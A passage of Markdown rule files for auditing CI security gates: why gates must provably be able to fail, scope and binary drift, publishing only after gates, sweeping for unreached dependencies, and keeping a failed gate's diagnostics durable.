**§4, §5 and §6 moved to [`rules/11`](11-after-the-gate-fails.md)** (· v1.43.0) when this file
reached its cap — that half asks what happens *after* a gate goes red (a verdict that outlives
the executor, reproducing the gate's own invocation, a bespoke watcher's blind spots, and
preserving a failed run's log before re-running it destroys the cause). They keep their section
numbers there.

## 1. What the standards ask for — and the one thing none of them ask

Worth knowing precisely, because it bounds what a green compliance answer is
worth. Two frameworks require **evidence the scan ran**:

- **NIST SSDF (SP 800-218 v1.1)** — **PW.8.2**: "Scope the testing, design the
  tests, perform the testing, and document the results, including recording and
  triaging all discovered issues and recommended remediations…". **PO.3.3**:
  "Configure tools to generate artifacts of their support of secure software
  development practices as defined by the organization" — where the document's
  own footnote defines an artifact as "a piece of evidence".
- **EU CRA (Regulation (EU) 2024/2847)** — Annex VII requires the technical
  documentation to contain "reports of the tests carried out to verify the
  conformity of the product with digital elements and of the vulnerability
  handling processes with the applicable essential cybersecurity requirements".

One does not even require that. **OpenSSF Scorecard's SAST check detects tool
*presence*** — it "looks for known GitHub apps such as CodeQL
(github-code-scanning) or SonarCloud … or the use of 'github/codeql-action' in a
GitHub workflow". Its Dependency-Update-Tool check says so outright: it "can
determine only whether the dependency update tool is enabled; it does not ensure
that the tool is run". Only CI-Tests reads an outcome, and it "only considers
tests which run successfully".

**None of them require evidence that the gate is capable of failing.** A scanner
misconfigured to scan zero files satisfies every clause above and yields a
documented, attestable record of having found nothing — SLSA will even sign
provenance proving that the scan executed, because provenance covers *how the
artifact was built*, never whether the scan was semantically capable of a
finding. So treat a passing compliance check as evidence of process, not of
protection. The missing evidence is a **negative control** — a committed
known-bad the gate must reject on every run — and it is not asked for by any
mainstream framework, which is exactly why it has to be a house rule
(`sota-code-security` rules/12 §1 and `rules/15` §3).

*(SSDF and Scorecard wording verified against the primary documents 2026-08-05;
the CRA sentence verified against published copies of the regulation text rather
than EUR-Lex directly — confirm the Annex VII point number before quoting it in
a filing.)*

The mechanics that make everything above real:

- **Required status checks, by exact job name**, in branch protection/rulesets. A check
  that isn't required is a suggestion. Gotchas:
  - A *skipped* job satisfies "required" on GitHub if path-filtered — when using
    `paths:`/conditional jobs, required gates need a fallback (a no-op job with the same
    name on the excluded paths, or no path filter on gates).
  - Renaming a job silently un-requires it (the protection references the old name) —
    review ruleset config when workflows change; alert on required-check list drift.
- **No `continue-on-error: true`, `|| true`, `set +e`, or `exit 0` tails on gate steps.**
  Audit grep across workflows; every hit on a security/test job is a finding (Medium-High).
  Same for tools invoked with their own "don't fail" flags (`--exit-code 0`, `--soft-fail`,
  `npm audit || true`).
- **Rulesets apply to admins**; bypass lists are empty or break-glass-only with audit
  (rules/07 §7.5). `[skip ci]` must not be honored on protected branches' required gates
  (merge queue or push-triggered verification covers post-merge).
- **Merge queue** for busy repos: re-runs required checks on the actual merge result —
  closes the "green on stale base, broken on main" hole and the approve-then-push race
  (pairs with dismiss-stale-approvals, rules/01 §1.7).
- Gate jobs must not be modifiable by the change they gate, where the threat model demands
  it: reusable workflows from a protected repo (rules/01 §1.8) — otherwise a PR can edit
  the workflow to neuter the gate that judges the PR. (CODEOWNERS on workflows + required
  review mitigates; required *workflows* / org rulesets solve it properly.)

Audit greps for bypass patterns (run across `.github/workflows/`, CI config, Makefiles):

```
continue-on-error: true        # on gate jobs/steps
|| true     || exit 0     ; true
set +e                         # without a matching set -e re-arm
--soft-fail   --exit-code 0   --no-fail   --exit-zero
npm audit || …    audit-level  none
allow_failure: true            # GitLab equivalent
failFast: false                # fine for matrices; check what consumes the result
if: always()                   # on steps that should be conditional on success
```

Each hit needs a justification or a finding. Also diff the branch-protection/ruleset
required-checks list against the actual workflow job names — orphaned required checks
(job renamed/deleted) either block everything (visible, gets fixed) or, with
"required check expected but not run" semantics misconfigured, silently stop gating.

## 2. The negative control proves the gate *can* fail — not that it still covers you

A committed known-bad answers "can this gate fail?". It never answers "does this
gate still see the code that matters?", and the two come apart the moment somebody
refactors.

**Where the known-bad lives decides whether it survives.** A fixture beside the gate
proves *today's* gate can fail and says nothing about the gate added next sprint,
because joining the fixture set is a convention — enforced by a line in a contributing
guide and by whoever reviews the PR. Prefer a **`--self-test` mode of the gate runner**
that walks the same registry of checks the normal run walks, injects each check's
declared known-bad, and asserts *that check, by name*, is the one that complains. A
check with no declared known-bad then **fails the self-test** instead of being silently
exempt, and the probe ships to the operator rather than living only in your CI. Full
procedure, including why a non-zero exit for an unrelated reason is a false pass:
`sota-code-security` rules/12 §1b. A gate's scope is a path or module expression, and ordinary,
well-motivated containment moves code out from under it with **no diff to the
workflow file and no change in risk**:

- `govulncheck ./...` analyses **the current module only** — it uses "the same
  package path syntax that the go command uses", and `go list ./...` in a module
  containing a nested `go.mod` silently omits that nested module (verified by
  execution, 2026-08-18). Extract the risky parser into its own module and a
  blocking finding becomes an invisible one.
- Same shape elsewhere: a second `package.json` outside the lockfile the SCA reads,
  a git submodule, a directory added to `.semgrepignore`, a vendored tree, code
  moved into a sidecar image the scanner never pulls.

Through all of it the known-bad sits in the main module, the gate keeps rejecting
it, and the gate keeps proving it *can* fail. This is the temporal form of
`sota-code-security` rules/11 §2.2: **the same gate's green today does not cover
the scope it had yesterday.** The check is mechanical — have every gate print the
number of units it enumerated (modules, packages, files) and fail the build when
that number **drops**, exactly as you would treat a coverage drop; a refactor that
legitimately shrinks the tree then costs one deliberate baseline update. Containment
is good engineering. Containment without repointing the scanner is just a smaller
blind spot.

**A fixture that simulates a *release* inherits every release-time check.** A negative
control builds a known-bad to prove one gate fires. When that fixture has to look like a
release -- bumping a version, rewriting a changelog heading -- it also satisfies, or breaks,
every *other* check that only runs on a release. Those checks then fire correctly, and the
harness reports their findings as a failure of the gate under test. Seen twice on the same
probe: first a routing check, then a version check whose exemption covers exactly one
untagged version, so the moment the fixture bumped that version every legitimate
current-version claim in the tree became a claim about an untagged one. **Neutralise each
release-time check inside the fixture, and say in a comment which ones and why** -- otherwise
the next one added is misattributed the same way, and the misattribution points at an
innocent gate.

### 2a. A gate that stops at the artifact cannot see a defect that starts at load

§2's blind spot is *lateral* — code moved out from under a gate's path expression. This
one is **depth**, and no scope count reveals it: every gate ran over every file and the
whole class of defect lives past the last line any of them executes.

Formatters, linters, type checkers and most SAST stop at the **compiled artifact**. A
loader, a verifier, a dynamic linker, a runtime capability check, a policy engine and a
kernel all run *after* it. Field-reported: four gates — `fmt`, `clippy` and two
domain-specific lint passes — were green on an eBPF object that the kernel verifier then
refused to load, because the defect was a stack-budget overrun measured at load time
(`sota-rust` rules/07 §1a). Nothing was misconfigured; the artifact was simply the end of
their reach. The same boundary sits under a container that builds and crashes on start, a
WASM module that compiles and fails instantiation, a plugin that links and fails its
capability check, a Terraform plan that renders and is refused by admission.

- **Name every gate's terminal artifact**, and ask what happens to it next. If the answer
  is "something loads, verifies or admits it", that step is unprobed.
- **One gate per pipeline must execute the artifact on a representative target** — load
  it, start it, instantiate it, `--dry-run` it against the real admission controller.
  Where the target is expensive or exotic (a specific kernel, a device), it is still the
  only gate with reach, so its cost is the price of the class, not a reason to drop it.
- **Green from the artifact-level gates is not evidence about load**, and should not be
  quoted as if it were. This is `sota-code-security` rules/15's *"state the traversed
  path beside the probe"* applied to a whole pipeline: say where the gates stop.
- The mirror-image trap is a gate whose reach is bounded by what the **subject** checks
  first — a runner that exits at a credential check in CI never reaches the code under
  test. Injecting a **dummy** credential makes CI and a laptop measure the same depth.

### 2b. The gate ran — but which binary, and over what?

§2 is a gate whose **scope** drifted sideways; §2a is one whose **reach** stops at the
artifact. This is the third axis and the cheapest to get wrong: **the identity of the tool
that produced the verdict, and the extent it was pointed at.** Both are invisible in a green
tick, and neither leaves a diff.

**Which binary.** `PATH` order decides which `cargo`, `python` or `node` actually ran, and a
version manager's shim loses to anything earlier. Field-measured: a Homebrew `cargo` at
`/usr/local/bin` shadowed the rustup shim while `rustup show active-toolchain` still correctly
reported the pinned nightly — **the pin was fine and the binary was wrong.** The two failure
modes are not equally visible: a nightly-only `-Z` flag died loudly, but **`cargo fmt --check`
exited 0 while silently ignoring every nightly-only key in `rustfmt.toml`**, printing
`Warning: can't set imports_granularity …` and then reporting success. A green format check
from the wrong binary is the kind of green nobody looks at again.

**Over what.** A scoping flag narrows coverage without changing the verdict's shape.
Field-measured: `cargo fmt --check --manifest-path kernel/Cargo.toml` exited 0 on a tree that
`cargo fmt --check` from the repo root reported two diffs on, because the narrower manifest
excluded the workspace member holding most of the code. CI rejected what local had passed.

- **Print the binary and the version in the same invocation as the verdict** — `command -v
  cargo`, `cargo --version` — rather than trusting the version manager's idea of what is
  active. For a pinned toolchain the ground truth is `rustup run <channel> cargo --version`,
  which execs the real binary and is immune to shadowing; `rustup show active-toolchain`
  reports the *pin*, which is never the thing that breaks.
- **Prefer the project's own check script to an ad-hoc invocation** — it encodes the intended
  scope. Where you must go ad-hoc, establish coverage: count the files, or change one
  deliberately and confirm the check goes red.
- **A check's exit code tells you it ran, never what it ran over.** Treat "passed locally,
  failed in CI" as a scope or binary question first, and a code question second.

## 3. A gate only gates if failing it makes the artifact unconsumable

Everything above is about a gate being **skipped**. This is the case where the gate
**ran, failed, and the artifact shipped anyway** — because the publish came first.

**If the build publishes to an identifier a deploy watcher can already consume**
(an image-updater, Flux image automation, a `latest`-following chart, a release
channel), then the gates that run *after* that publish do not gate anything. They
only decide whether the artifact ends up *annotated*. The deploy then fails at the
**consumer**, with a verification error — *"no signatures found"*, *"unverified
image"*, *"missing attestation"* — whose cause is three steps upstream in a different
subsystem. Operators triage the message they are given, so a vulnerability, dependency
or test failure reliably sends them to the signing path.

**Build to a candidate identifier; promote after the last gate.**

```
build(:candidate) → scan(:candidate) → sign(:candidate) → promote(:candidate → :release)
```

Three requirements, ordered by how often they are got wrong:

1. **The candidate must be structurally invisible to the watcher, not merely
   different.** Check it against the watcher's own allow-pattern and assert it does
   not match. *"It is a different string"* is not a control; *"it cannot satisfy
   `allowTags`/`filterTags`/the semver constraint"* is.
2. **Promote by retag/copy of the same digest, never by rebuild.** Signatures and
   attestations are digest-keyed, so a same-digest promotion carries them for free —
   and a promotion that re-encodes the manifest silently moves the digest and leaves
   the release tag unsigned. Read the digest back and assert it is unchanged.
3. **Promotion fails closed and is all-or-nothing.** Verify the candidate is present
   everywhere the consumer might read it *before* creating any release identifier;
   with a per-node registry or a multi-region mirror, a partial promotion makes
   admission a coin-flip. If one artifact of a coupled set cannot be promoted, promote
   none.

**The state-advance trap that makes this self-amplifying.** If the step recording
"last built commit" also sits behind the failing gate, the marker never advances, so
the scheduler rebuilds the same commit forever — each cycle publishing another
unverified artifact. Whatever records build state must depend on the **last** gate.
Depend on too early a step instead and a later failure is never retried; both
directions are bugs, and the dependency belongs on the final promotion.

Distinct from *build once, promote many* (`rules/06` §6.6), which is about **environment**
promotion — the staging digest is the prod digest. This is ordering **within a single
build**, and the failure it produces is an error message pointing at the wrong subsystem.

**Audit grep:** for each pipeline, find the step that publishes and the steps that
scan/sign/test, and confirm the publish of the *consumable* identifier is topologically
after all of them. A `docker push` / `ko build` / `kaniko --destination` naming the
release tag directly is the finding.

## Audit checklist

- [ ] **Does each gate print the binary and the scope that produced its verdict?** (§2b)
      `PATH` order decides which toolchain ran — a shadowing binary made `cargo fmt --check`
      exit 0 while ignoring every nightly-only config key — and a scoping flag
      (`--manifest-path`, a path arg, an ignore file) narrows coverage without changing how
      the green looks. `command -v` + `--version` beside the result; for a pin, compare
      against `rustup run <channel> …`, not `rustup show active-toolchain`.
- [ ] **Where do the gates stop, and what runs after?** (§2a) Name each gate's terminal
      artifact. If a loader, verifier, dynamic linker, capability check, admission
      controller or kernel runs after it, at least one gate must **execute** the artifact
      on a representative target — otherwise that whole depth is unprobed while every gate
      is green. Conversely, a gate whose subject exits early (a credential check in CI)
      reaches nothing past that point: inject a **dummy** credential so CI and a developer
      machine measure the same depth.
- [ ] **Does failing a gate make the artifact unconsumable, or merely unannotated?** For each
      pipeline, confirm the *consumable* identifier is published only after every gate: the
      pre-gate identifier **provably fails the deploy watcher's allow-pattern**, promotion is a
      same-digest retag with the digest read back, and build-state advance depends on the final
      promotion — not an intermediate step (§3, `rules/11` §4). A verification error at the consumer for a
      scan/test cause is the symptom.
- [ ] Every security gate ships a **negative control** — a committed known-bad it must reject on every run, and it is reachable as a **mode of the runner** (`--self-test`) rather than only as a fixture beside it, so a newly added check with no known-bad fails rather than passing unprobed (`sota-code-security` rules/12 §1b). No framework (SSDF, CRA, Scorecard, SLSA) requires this; a passing compliance check is evidence of process, not protection (`sota-code-security` rules/12)
- [ ] Every gate prints the **number of units it enumerated** and the build fails when that number drops — a refactor that moves code into a nested module, a second manifest, a submodule or a sidecar image silently shrinks the gate's scope while the negative control keeps passing (§3, `rules/11` §5)

# 10 — Declared but not Reached — the inert-dependency sweep

Scope: dependencies, modules and plugins that are **declared** but never **reached**.
Split out of `rules/03` at v1.36.0 — same content in its own file, with the old
3.9.N subsection numbers becoming §1–§7.

`rules/03` §3.6 asks whether what you ship is *vulnerable*. It never asks whether a
declared dependency is **reached at all**. An unreached dependency is pure liability:
install-time execution surface (`rules/03` §3.4), a lockfile entry to upgrade forever,
license obligations, build time, and a CVE queue for code that never runs. It is also the
cheapest finding in an audit — the fix is a deletion.

Run it as its own pass over **direct dependencies, registered modules, and plugins**. The
BUILD-side gate on *adding* a dependency lives in the language skills (`sota-golang`
rules/05 §8, `sota-javascript-typescript` rules/05); this is the sweep for what already
landed.

Severity: an unreached dependency is **Low** on its own — nothing exploitable, only debt.
Rate it **Medium** when it runs install hooks (`rules/03` §3.4), ships into the runtime
artifact, or carries an open advisory: that is exploit surface carried for zero function.

## 1. Reachability, not import presence

Trace from a **real entrypoint** — `main`, the route table, the scheduler/cron
registration, the module or plugin registry, the DI container wiring — to the dependency's
API. An import statement is not reachability; it is the thing that makes an inert
dependency look alive to every static tool.

Three traps:

- **A reference on a path that cannot execute.** A `switch`/`match` arm for a type the live
  decoder cannot emit, a handler registered for an event no producer sends, an adapter
  selected by a config value nothing sets. The symbol is genuinely referenced, so tools and
  greps mark the dependency used — but the branch is unreachable. One step earlier than
  this is `sota-code-security` rules/14 §4 (a gate whose trigger never fires); the same
  two-axis check applies — *has this path ever executed*, not *does it exist*.
- **Side-effect-only imports.** `import _ "…"` for a driver, a decorator that registers
  into a table, a plugin discovered by entry point. Legitimate — but confirm something
  *reads* that table, or you have a registration nobody consumes.
- **The reverse trap — dynamic loading.** Reflection, service loaders, `importlib`,
  `require` by string, Rails autoload, DI-by-convention, plugin manifests. Here a
  dependency with **no static reference is still reached**, so the tools below produce
  false *positives*. Search config, manifests, and IaC for the package/class name as a
  **string**, not only the code for a symbol.

## 2. Tools, each with its blind spot

No tool's silence is proof (§3). Use one to generate candidates, then prove each one.
Verify the tool's current name and maintenance before you trust it (`sota/rules/01` §3) —
two of the projects below have been renamed under their old URLs.

| Ecosystem | Tool | Blind spot to state when you cite it |
|---|---|---|
| Go | `go mod why -m <module>` prints `(main module does not need module …)`; `go mod tidy` + `git diff --exit-code` in CI (§8 of `sota-golang` rules/05) | `why` queries the graph of `go list all`, which **includes tests of reachable packages**: a module needed only by your *dependencies'* tests reads as reached until you pass `-vendor`, and one needed only by your *own* tests reads as reached either way |
| JS/TS | `knip --include dependencies` (`sota-javascript-typescript` rules/07) | documents its own false positives: unresolved dynamic specifiers (`import(path.join(dir, x))`), config files a plugin's dependency-finder doesn't parse, and **entry/project globs that miss files** — "dependencies imported in unused files are reported as unused dependencies", so triage unused *files* first |
| Python | `deptry .` — DEP002 unused, DEP003 transitive-but-imported, DEP005 stdlib shadowed | static import analysis: entry-point/plugin packages and `importlib` loads read as unused |
| Rust | `cargo machete` (stable) or `cargo +nightly udeps` | machete is deliberately imprecise — false positives for deps used only from `build.rs`-generated code and for crates whose import name differs from the package name (`--with-metadata` fixes the latter). udeps needs **nightly** and documents false *negatives*: deps also used by std or by your own deps go undetected |
| JVM | `mvn dependency:analyze` (`analyze-only` inside the lifecycle) with `failOnWarning` — default is `false`, so it is advisory until you set it | its FAQ is explicit: "dependency analysis is done at bytecode level: anything that doesn't get into bytecode isn't detected" — inlined constants, source-retention annotations, javadoc links. "If the only use of a dependency consists of such undetected constructs, the dependency is analyzed as unused." Override per-dep with `usedDependencies` |
| PHP | `composer-unused` (`vendor/bin/composer-unused`; needs `composer install` first) | static; container- and config-string wiring is invisible |
| .NET | `ReferenceTrimmer` (modest adoption — treat as a candidate generator only): MSBuild task + Roslyn analyzer over the compiler's `GetUsedAssemblyReferences` | it skips SDK/target-framework references, transitives, and packages carrying build files; in symbol-analysis mode "references used only in XML documentation comments will be reported as removable" |
| Ruby | **no established tool** — the candidates are single-maintainer and low-adoption | dynamic `require`, autoload, and monkey-patching defeat static analysis by construction; go straight to §3 |

## 3. Proof by construction — delete it and build

A grep is not proof, and neither is a tool's silence. The finding is not "X looks unused";
it is **"X was removed and the real build, lint/vet, and full test suite still passed."**

1. **Copy the repo to a scratch directory.** The audit is read-only (`sota/rules/01` §4) —
   never mutate the tree under audit.
2. **Remove the declaration and regenerate the lockfile.** Manifest edit alone leaves the
   package resolvable.
3. **Run what CI runs** — build + vet/lint + the full suite, not a subset.
4. **Report exact commands, exit codes, and before/after counts** — `go mod graph | wc -l`,
   the lockfile's package count, the resolved module total.
5. **If it still builds, that is the finding.** If it fails, you have a *reached*
   dependency and the compiler just named the call site for you — record that as the
   reachability evidence and close the candidate.

Two traps that make a green run lie (same shape as `sota-code-security` rules/12 §1, where the mutation is a
no-op'd control rather than a removed package):

- **The deletion did not take.** A vendored copy still on disk, a lockfile not regenerated,
  a workspace sibling still declaring it, a cached build layer, a stale `target/`
  or `node_modules`. **Assert the absence has runtime effect** — the resolver errors, the
  import fails — before trusting green.
- **The suite never exercised the path.** A dependency reached only from an integration or
  e2e job you did not run reads as removable. **State which suites ran**: a build-only
  proof is a bounded claim ("removable without breaking `go build` and `go test ./...`"),
  not "unused".

### 3a. If the thing was a *fallback*, "unreached" is not evidence at all

§3 proves a candidate is unreached and deletes it on that evidence. That is sufficient for a
**dependency**, whose job is to be called. It is not sufficient for anything whose job was to
be *available*: a cache, a mirror, a warm standby, a secondary feed, a retry path, a
break-glass credential. **Unreached is exactly what a healthy fallback looks like**, so the
§3 proof returns the same green for "safely obsolete" and for "the safety net nobody has
needed yet".

For those, the deletion needs a second, different piece of evidence: **what replaced it, and
a measurement showing the replacement is working right now.**

Field case: an orphaned CronJob maintained a vulnerability-database cache that no build had
mounted for four days — unreached, proven, the claim appearing exactly once in the repo, in
its own producer. The reason it was unreached is that builds had moved to a registry mirror,
so the question that actually decided the deletion was *"is the mirror current?"* It was: the
manifest annotation read a creation time **3.3 hours old**, inside the tool's 24-hour refresh
window. **Had it been stale the correct action was the opposite** — repair the mirror — and
the "dead" cache was the only thing between a stale advisory database and a green scan gate.

So: when a DELETE candidate is redundancy, name the successor and cite a freshness or health
measurement taken **this session** (§5's discipline — dates, from a primary source, fetched
now — applied to the replacement rather than to the upstream). No successor and no measurement means the finding is
not DELETE — it is **KEEP, pending an owner's decision**, because you have established
absence of use and nothing about absence of need.

## 4. Leverage ratio — what you use vs what you inherit

For each *live* dependency, count the API surface you actually call against the transitive
modules it pulls in (`go mod graph`, `cargo tree`, `npm ls --all`, the lockfile). **Fewer
than ~5 symbols used while inheriting more than ~10 modules** is a replace-in-house
candidate — flag it, with both numbers.

The ratio is a trigger for the decision in §5, never the decision itself. A single-call
dependency that implements something on the do-not-reimplement list stays.

## 5. Upstream health — a primary source fetched this session

Operating principle 0 applies with full force here: "actively maintained" recalled from
training data is exactly the claim that rots. Fetch it, and **report the dates rather than
an adjective** — "last push 2026-04-27" is a fact; "actively maintained" is an opinion with
an expiry date.

```bash
# archived/disabled flags, push and update timestamps, license
gh api repos/<owner>/<repo> \
  --jq '{full_name, archived, disabled, pushed_at, updated_at, license: .license.spdx_id}'

# contributor count: rel="last" page number == contributors, at per_page=1
gh api "repos/<owner>/<repo>/contributors?per_page=1" --include | grep -i '^link:'
```

- **Read `full_name` back — `gh api` follows renames silently.** Verified 2026-07-30:
  `repos/fpgmaas/deptry` answers as `osprey-oss/deptry`, and
  `repos/icanhazstring/composer-unused` as `composer-unused/composer-unused`. A 200 under
  the name in your manifest is **not** evidence the project is still where you think it is.
  A 404 is a different finding (deleted, private, or renamed *and* the redirect dropped).
- **`archived: true` is the easy case.** The common one is a never-archived repo that
  nobody maintains — which is why the dates and the contributor count matter more than the
  flag. Read the README and repo description for an explicit unmaintained-or-successor
  notice.
- **Neither timestamp is a release-cadence signal.** `pushed_at` tracks push activity and
  `updated_at` also moves on metadata-only changes (description, wiki). A repo with a
  recent `pushed_at` and no release in two years is still drifting — read the release feed
  as well, and say which of the three you are citing.
- Non-GitHub hosts: the registry's own metadata plus the project's release feed. For
  dependencies you rely on heavily, OpenSSF Scorecard (`rules/03` §3.4).

## 6. Classify every finding into exactly one bucket

- **A. DELETE** — unreached, with the §3 proof attached (commands, exit codes,
  before/after counts). **If the candidate was redundancy — a cache, mirror, standby,
  secondary feed or break-glass path — §3 alone does not qualify it**: name the successor
  and cite a health measurement taken this session (§3a), or classify it C. Effort: trivial.
- **B. REPLACE IN-HOUSE** — reached, but small, well-specified, non-security-critical, and
  a poor leverage ratio. Give a line-count estimate *and* name the owner afterwards: the
  real cost is maintaining it forever, not writing it once.
- **C. KEEP** — healthy, or too complex / too security-critical to reimplement. **Never
  recommend an in-house implementation of:** crypto primitives or protocols, TLS,
  JWT/JOSE, CORS, session cookies, WebAuthn/FIDO2, password hashing, or YAML/XML/PDF/
  archive parsing — *and* **never of an algorithm whose output is persisted and must stay
  comparable with stored data** (fuzzy or locality-sensitive hashes, similarity digests,
  tokenizers, ID/slug derivations). A reimplementation that is merely *equivalent* still
  invalidates every stored value it has to compare against, and the failure is silent —
  comparisons keep returning answers, just wrong ones (`sota-code-security` rules/10). The
  library-wide stance is in `sota/SKILL.md`: use a vetted library, don't roll your own.

  **For protocols the line is which side you are on** — added 2026-07-31 after this
  clause was found genuinely ambiguous on a request signer. Primitives are out
  unconditionally. A *protocol* is out whenever **this** system is the **validating**
  side: there a canonicalisation, parsing or comparison bug fails **permissively and
  silently** — it accepts what it should reject, and nothing errors. That is the
  `sota-code-security` rules/10 family and it is the reason the prohibition exists. Composing stdlib
  primitives per a published spec to produce something a **remote authority validates**
  is a different class: a wrong signature is rejected on the first request, loudly. If
  you take that path, **state which side you are on**, pin the spec version you
  implemented, and test against the publisher's own vectors where they exist. When you
  cannot say which side fails first, treat it as validating and keep the library.
- **D. UNMAINTAINED but must keep** — name the maintained fork or successor and the date
  you checked it. If none exists, say so; the migration is a roadmap item with an owner,
  not a one-line fix.

## 7. "Unused" is an absence claim

It carries the heavier burden of router principle 3 and `sota/rules/03` §2: before writing
*unused*, search twice by **different methods** and state both. A static tool plus the
§3 deletion proof is a valid pair. Two greps are not a pair — and given §1's
dynamic-loading trap, a code-only search is structurally incapable of settling it.

## Audit checklist

- [ ] **Inert-dependency sweep run**: every direct dependency, registered module, and plugin traced to a real entrypoint — not just to an import — with the impossible-path and dynamic-loading traps checked in both directions (§1)
- [ ] **Was any DELETE candidate redundancy?** (§3a) A cache, mirror, standby, secondary feed
      or break-glass path is *supposed* to be unreached, so §3's proof does not qualify it —
      the successor is named and its health measured this session, or the finding is KEEP.
- [ ] Each "unreached" claim **proven by deletion** in a scratch copy: real build + lint/vet + full suite, with commands, exit codes, before/after transitive counts, and which suites ran — and the deletion asserted to have taken effect (§3)
- [ ] Leverage ratio computed for live deps (symbols called vs transitive modules inherited); <5-symbols/>10-modules candidates flagged with both numbers (§4)
- [ ] Upstream health fetched **this session** from a primary source (`gh api repos/<o>/<r>` → `archived`, `pushed_at`, contributor count; `full_name` read back for silent renames), reported as dates not adjectives (§5)
- [ ] Every finding classified DELETE / REPLACE IN-HOUSE / KEEP / UNMAINTAINED-but-keep, with the successor named for D and nothing on the do-not-reimplement list proposed for B (§6)
- [ ] Every "unused" verdict treated as an **absence claim** — two independent methods, the search actually run stated, and no verdict resting on grep alone (§7)

# 11 — After the gate fails: can anyone find out why

Scope: the sibling of `rules/09`. That file asks whether a gate *can* fail and whether failing
it *matters*; this one starts one step later — the gate went red, and someone has to find out
why. Split out of `rules/09` (· v1.43.0 — the cut fills this in) when that file reached its 500-line cap; §4, §5 and §6
keep their numbers so every existing citation still names the right section.

**The unifying property:** a failure's cause lives in output that is *more perishable than the
failure itself*. An executor is reaped, a log is truncated, a re-run overwrites its
predecessor — and what survives is an exit code, which looks identical for every cause.

## 4. A verdict that lives only in a garbage-collected log does not exist

The other half of the same incident. `rules/09` §1 and §2 ask whether a gate *can* fail; the
negative-control material asks whether it can still go red. Neither asks whether a human
can find out **why** it went red once the executor is reaped.

**A gate that classifies its own failure must publish that classification somewhere that
outlives the process.** CI executors are ephemeral by design — pods are garbage-collected,
runners are torn down, log retention is shorter than the time it takes anyone to notice. A
step that carefully separates *"policy violation"* from *"infrastructure error"* and then
`echo`s the distinction to stdout has produced a diagnostic with the lifetime of a pod.
What survives is the exit code, and every failure looks identical: `Error (exit code 1)`.

On Kubernetes the durable surface is the **container termination message**. The default
`terminationMessagePolicy: File` reads `/dev/termination-log` and the orchestrator copies
it into an object that outlives the pod. Writing to it needs no pod-spec change:

```sh
if <gate failed>; then
  if <it was a policy violation>; then
    MSG="GATE FAILED - <POLICY> (NOT a <downstream subsystem> problem). <artifact> | <summary> | <offending items> | <what was skipped> | <the fix>"
  else
    MSG="GATE INFRA ERROR - NOT a <policy> failure. <artifact> | <what to check>"
  fi
  echo "$MSG"
  printf '%s\n' "$MSG" > /dev/termination-log 2>/dev/null || true
  exit 1
fi
```

Rules for the message:

- **Name the cause and explicitly deny the plausible wrong one.** Where the failure has a
  known downstream symptom in another subsystem, say so — that sentence is what stops the
  next hour of investigation.
- **State the consequence**, not just the fact: which later steps were skipped, and
  therefore what will not deploy.
- **Include the identifying detail a fix needs** (CVE IDs, the rule ID, the offending
  dependency). The log that had it is gone.
- **Budget for the cap, and know it is not per-container-generous.** The kubelet truncates
  a termination message at **4096 bytes** — but the *total across all containers is limited
  to 12KiB, divided equally*, so a 12-container pod gets **1024 bytes each** (Kubernetes
  docs, verified 2026-09-06). Init containers and sidecars count, which is exactly the
  shape a CI pod has, so budget from the container count rather than from 4096.
- `2>/dev/null || true` on the write: a read-only rootfs must not turn a clean policy
  failure into a confusing write error.

`terminationMessagePolicy: FallbackToLogsOnError` is the cheaper option when you do not
control the step's script — it uses the tail of the container log when the file is empty
*and* the container errored, capped at **2048 bytes or 80 lines, whichever is smaller**.
It is a fallback, not a substitute: the log tail is whatever happened to be last, not a
verdict you composed.

**Verified on Kubernetes.** The equivalent durable surface elsewhere — GitHub Actions job
summaries, step outputs, annotations — is the same idea and is **not verified here**;
phrase the requirement as *"the durable surface your orchestrator preserves"* and name the
one you actually checked.

**Apply it to every instance of the gate, not just the one that broke.** Gate steps are
routinely copy-pasted across per-service pipelines, and fixing one leaves the rest mute
(`rules/01` §1.11a).

**The alert is the other half.** An alert whose description enumerates possible causes
(*"could indicate X, or Y, or an actual policy failure"*) is the same defect one layer up:
it hands the operator the guesswork the step already resolved. Point the alert at the
durable verdict and give the exact command that prints it.

**A warning on a *passing* run needs its transport verified, not just its existence.**
Everything above is about failure diagnostics dying with an ephemeral executor. The
systematically worse case is the opposite: **every wrapper that suppresses output suppresses
it on success** — and a warning is by definition emitted on a run that otherwise passed, so
warnings are the class of message most likely to be structurally unreachable, on the one
outcome nobody investigates afterwards.

Verified against the installed **pre-commit 4.6.0**, not from documentation:
`pre_commit/commands/run.py` emits a hook's output only when

```python
if verbose or hook.verbose or retcode or files_modified:
```

so a seventeen-minute, twenty-three-gate run reaches the terminal as the single word
`Passed`, and a warning written inside it cannot arrive. Remedy there is `verbose: true` on
that hook. The same shape elsewhere: a GitHub Actions `::group::` collapses output out of a
skimmer's view, a `@`-prefixed Makefile recipe hides the command, `| tail` keeps the summary
and drops the warning above it.

Ask **"what does this look like on a green run, to someone not looking?"** Where no path
exists, the warning must become a **durable artifact** — a file, a record, a check a later
command performs — rather than a line of stdout. Field-measured: the problem above was found
by exactly that, a ledger query reporting `1 of 2 commit(s) in HEAD~2..HEAD carry a gate
record`, after the stdout warning had been invisible.

## 4a. Re-running a failed check destroys the evidence of why it failed

§4 is about a verdict the gate **composed** — it knew why it failed and had to publish that
durably. This is the harder case: the gate did **not** know. The line that explains the failure
is incidental output nobody designed as a diagnostic, and the natural next action — run it
again — is what deletes it.

**The mechanism is ordinary and that is the problem.** A runner that writes its log with `>`
truncates the previous run's; one that writes to a fixed path overwrites it; CI keeps only the
latest attempt for a re-run of the same job. None of that is a bug, and all of it means the
*first* red run is the only one that saw the cause.

Field-reported 2026-09-16: a gate suite failed, and a second run started concurrently by a
pre-push hook collided with it over a shared test binary. The surviving evidence was one line —
`cp: cannot create regular file '/tmp/<bin>': Text file busy` — in an **archived** copy of the
first run's log. The visible symptom was a kernel conformance test failing to observe an event
it had caused: **indistinguishable from a product race**, in a suite already tracking four
unexplained intermittent failures. Re-running to green and reporting the green would have added
a fifth.

**So: copy the log before you re-run, not after you decide you need it.**

```sh
# the re-run is the destructive step; archive first, unconditionally
run_gate() {
  local stamp; stamp=$(date +%Y%m%dT%H%M%S)
  ./ci-local.sh > "runs/$stamp.log" 2>&1        # per-run path, never a fixed one
  local rc=$?
  [ "$rc" -eq 0 ] || echo "FAILED: runs/$stamp.log (rc=$rc)" >&2
  return "$rc"
}
```

- **Capture stderr into the same stream** (`2>&1`). The `ETXTBSY` above arrived on stderr; a
  runner that keeps only stdout discards exactly the class of line that explains an
  infrastructure failure.
- **Never a fixed log path** for a check you will run repeatedly. `> gate.log` is a
